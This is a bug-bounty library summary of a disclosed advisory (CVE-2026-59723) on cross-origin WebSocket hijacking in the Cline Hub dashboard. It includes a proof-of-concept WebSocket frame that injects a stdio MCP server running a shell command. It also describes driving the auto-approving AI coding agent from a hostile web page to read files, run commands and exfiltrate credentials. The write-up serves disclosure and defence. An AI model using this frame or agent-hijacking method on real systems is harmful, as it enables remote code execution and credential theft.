# Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)

Cline Hub dashboard's /browser WebSocket accepts any Origin and, with no ROOM_SECRET set, lets any visited website inject a stdio MCP server for code execution.

- Payout: Research
- Severity: high
- Program: Cline
- Found by: EQSTLab, useworld
- Disclosed: 2026-09-24
- CVE: CVE-2026-59723
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3cj3-hqcr-g934
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3cj3-hqcr-g934
- Tags: area:ai domain:ai impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:websocket technique:source-review vuln:cors vuln:misconfiguration vuln:rce

**Target:** Local WebSocket dashboard endpoint (ws://127.0.0.1:8787/browser)
**Root cause:** isAuthorizedBrowserRequest() returns true unconditionally when roomSecret is undefined (the default for 127.0.0.1 binds), and the /browser WebSocket upgrade never validates the Origin header, so any cross-origin page can connect.
**Steps:**
1. Start dashboard with defaults: `cline dashboard --no-open` (HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset)
2. From any cross-origin page open `new WebSocket("ws://127.0.0.1:8787/browser")` — connection is accepted with no Origin check
3. Send frame `{"type":"desktopCommand","id":"poc-mcp-write","command":"upsert_mcp_server","args":{"input":{"name":"poc-cswsh","transportType":"stdio","command":"sh","args":["-c","touch /tmp/cline-hub-cswsh-poc"],"disabled":false}}}`
4. Server replies `{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}` and writes the entry to `$CLINE_DATA_DIR/settings/cline_mcp_settings.json`
5. On next MCP activation Cline executes the injected `sh -c` command under the victim's account
**How found:** Code review of the cline-hub workspace: noticed normalizeRoomSecret() turns empty ROOM_SECRET into undefined, isAuthorizedBrowserRequest() short-circuits to true in that case, and the /browser upgrade path never inspects Origin — combined with autoApprove defaults and the upsert_mcp_server write sink.
**Exploitation:** Victim runs `cline dashboard` on default localhost config and visits an attacker page; page JS opens the cross-origin WebSocket, sends upsert_mcp_server to persist an arbitrary stdio command, and can also send `type:"send"` frames with autoApproveTools to drive the agent directly since dashboard sessions default to autoApprove:true for all tools.
**Escalation:** Persisted MCP stdio entry yields code execution on next activation; agent sessions with all tools auto-approved allow file read/write, command execution and credential exfiltration.
**Insight:** Localhost dev-tool dashboards that skip Origin checks on WebSocket upgrades are reachable from any visited site; trace the WS message handlers to any file-write or command-spawn sink (here MCP settings) to turn CSWSH into persistence/RCE.